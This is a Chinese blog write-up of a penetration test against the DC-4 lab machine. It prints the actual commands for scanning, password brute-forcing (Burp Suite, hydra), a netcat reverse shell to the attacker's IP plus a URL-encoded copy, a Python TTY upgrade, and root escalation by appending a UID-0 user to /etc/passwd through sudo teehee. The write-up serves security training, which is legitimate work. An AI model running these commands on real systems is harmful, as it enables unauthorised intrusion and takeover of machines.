靶机渗透-DC4"

admin 2026-10-22 01:32:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

靶机渗透-DC4

原创

Ming\_Yang
Ming\_Yang

SecureCoder

2026年6月8日 17:10
日本

在小说阅读器读本章

去阅读

免责声明:未经授权的渗透测试属于违法行为,本文攻击目标均为官方授权的靶机环境,仅供安全学习与交流。


前言

DC 系列靶机是一套专为渗透测试与网络安全实验设计的虚拟机环境,涵盖了操作系统漏洞、Web 应用安全、无线网络安全等多个主题。每一台靶机都提供了一个独立的攻击场景,让安全从业者能够在合法环境中磨炼技能、测试工具。无论你是刚入门的新手,还是经验丰富的老师傅,DC 系列都能带来不小的收获。


一、环境准备

角色 系统 IP 地址
攻击机 Kali Linux 192.168.9.128
靶机 DC-4 (Linux) 192.168.9.131
  • • DC-4 下载方式:文末获取
  • • 网络要求:两台主机须处于同一局域网,虚拟机的网络适配器设置需保持一致(统一使用 NAT 或桥接模式)。
  • • 目标:找到 flag。

二、渗透实战

1. 攻击思路

渗透测试不是盲目地敲命令,而是有章可循的:

信息收集 → 漏洞发现 → 漏洞利用(SQL 注入、文件上传、框架漏洞、SSH 爆破等)→ 反弹 Shell → 权限提升

下面我们按照这个思路,一步步拿下 DC-4。

2. 渗透过程

2.1 信息收集

首先使用 netdiscover 通过 ARP 扫描发现局域网内的存活主机:

netdiscover -r 192.168.9.0/24

成功定位到靶机 IP:192.168.9.131。接着用 nmap 进行端口扫描,获取更详细的信息:

nmap -sT -O 192.168.9.131

扫描结果显示靶机开放了 80 端口(HTTP) 和 22 端口(SSH)。既然有 Web 服务,先打开浏览器看看:

是一个登录页面。接下来做目录扫描和指纹识别,看看有没有隐藏的线索:

dirsearch -u http://192.168.9.131

目录扫描没有发现其他有价值的页面。再用 whatweb 看看网站用了什么框架:

whatweb http://192.168.9.131/


2.2 漏洞发现

指纹识别没有匹配到已知框架,那就上 Burp Suite 抓包看看:

发现了 POST 请求中的用户名和密码参数,这里可以尝试暴力破解。拿出珍藏的字典,开始爆破:

成功跑出凭据,登录进去看看:

用户名:admin
密码:happy

登录后的页面有一个命令执行入口,经验告诉我们这很大概率是任意命令执行漏洞。抓个包验证一下:

果然如此!接下来就是\"老三样\"——抓、改、放,利用这个漏洞反弹 Shell:

# 攻击机(Kali)
nc -lvp 9999

# 靶机上执行
nc -e /bin/bash 192.168.9.128 9999

第一次上传没有成功连接,可能是 Burp Suite 传参时某些字符没有被正确解析。我们改用 URL 编码再试一次:

%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%39%2e%31%32%38%20%39%39%39%39%20

这次成功了!接着用 Python 把 Shell 升级为交互式 TTY:

python -c 'import pty;pty.spawn(\"/bin/bash\")'

交互式 Shell 到手,接下来就是提权环节。


2.3 权限提升

先确认当前身份:

whoami
id

权限太低,需要四处翻找线索。在 /home 目录下发现了三个用户,其中 jim 的目录里有些有意思的东西:

cd /home
ls
cd jim
ls
cat test.sh
cd backups
ls
cat old-passwords.bak

找到了一份旧密码备份文件,先保存下来:

vim password.bak

前面 nmap 扫描时发现靶机开放了 22 端口的 SSH 服务,结合这份密码字典,可以尝试对 jim 用户进行 SSH 爆破:

hydra -l jim -P password.bak -t 32 ssh://192.168.9.131:22

成功爆破,使用新凭据通过 SSH 登录:

用户名:jim
密码:jibril04

whoami
id
sudo -l

jim 用户同样没有高权限,但系统提示 jim 有一封信件。一般来说,邮件存放在 /var/mail 目录下:

cd /var/mail
cat jim

邮件里赫然写着 charles 用户的密码——把密码直接写在邮件里发送,还真是个\"模范员工\"。

用户名:charles
密码:^xHhA&hvim0y

切换到 charles 账户,继续探查权限:

su charles
ls
id
whoami
sudo -l

发现 charles 拥有 teehee 命令的免密 sudo 权限。查一下这个命令是干什么的:

简单来说,teehee 可以向文件末尾追加内容。如果有 sudo 权限配合,就能用来提权——向 /etc/passwd 追加一个自定义的 root 用户即可。(关于此提权方式的原理,可参考我的文章:Linux软件安装&账户权限[二])

说干就干:

sudo teehee -a /etc/passwd
demo::0:0:::/bin/bash

查看 /etc/passwd,发现 demo 用户已成功添加,UID 和 GID 都是 0(即 root 权限)。直接切过去:

su demo
id
whoami

已经是 root 了!

最后一步,全局搜索 flag 并读取:

find / -name *flag.*
cat /root/flag.txt

在 root 目录下成功找到了 flag 文件!


三、总结

回顾整个 DC-4 的攻破过程,可以分为以下几步:

  1. 1. 信息收集:通过 ARP 扫描发现主机,nmap 端口扫描识别服务,目录爆破与指纹识别探查 Web 应用。
  2. 2. 漏洞发现:Burp Suite 抓包发现登录参数,暴力破解获取后台凭证;登录后确认任意命令执行漏洞。
  3. 3. 漏洞利用:利用命令执行反弹 Shell,通过 URL 编码绕过传输问题,Python 升级为交互式 TTY。
  4. 4. 权限提升:从 jim 用户的旧密码文件入手 → SSH 爆破 → charles 邮件泄露密码 → 利用 teehee 命令的 sudo 权限向 /etc/passwd 写入 root 用户 → 最终拿到 flag。

整个攻击链环环相扣,每一步的信息都对下一步至关重要——渗透测试的魅力,也正在于此。


请在微信客户端打开

靶机获取

关注下方公众号,后台回复关键词 「20260608」 即可获取 DC-4靶机资源。


    靶机渗透-DC4" 网络安全文章

    靶机渗透-DC4"

    该文档详细记录了DC-4靶机渗透测试全过程,涵盖信息收集、漏洞发现、漏洞利用和权限提升等关键环节。通过ARP扫描和nmap端口扫描定位靶机,利用BurpSuite爆破获取后台凭证并发现命令执行漏洞,使用URL编码反弹Shell后通过Python升级TTY。在权限提升阶段,依次利用jim用户的旧密码文件进行SSH爆破、charles邮件泄露的密码切换账户,最终通过teehee命令的sudo权限向/etc/passwd写入root用户成功提权。文档提供了完整的攻击链分析和实操命令,强调渗透测试的逻辑连贯性。
    多个VMware存储的XSS漏洞允许攻击者注入恶意脚本" 网络安全文章

    多个VMware存储的XSS漏洞允许攻击者注入恶意脚本"

    博通披露了三个影响VMwareCloudFoundationOperations及相关产品的存储型XSS漏洞(CVE-2026-41722/41723/41724),CVSS评分为8.0。攻击者可通过创建策略或小部件注入恶意脚本,在管理员访问时执行未授权操作。漏洞影响多个产品版本,目前仅能通过升级到指定固定版本修复,无变通方案。建议企业优先打补丁并严格管理权限分配。
    一次SQL注入代码审计实战:从发现到验证的完整过程" 网络安全文章

    一次SQL注入代码审计实战:从发现到验证的完整过程"

    本文记录了针对若依框架RuoYi-Vue-Pro的SQL注入漏洞代码审计全过程。从审计工具告警出发,通过追踪GoViewDataServiceImpl.java中jdbcTemplate直接执行用户输入SQL的数据流,发现Controller层仅做非空校验而缺乏SQL类型过滤。文章提供了多个POC验证漏洞危害,包括泄露密码哈希、跨库读取系统表、执行DML语句等,并分析了纵深防御缺失的四层原因。最后给出修复建议,强调参数化查询和最小权限原则。
    评论:0   参与:  0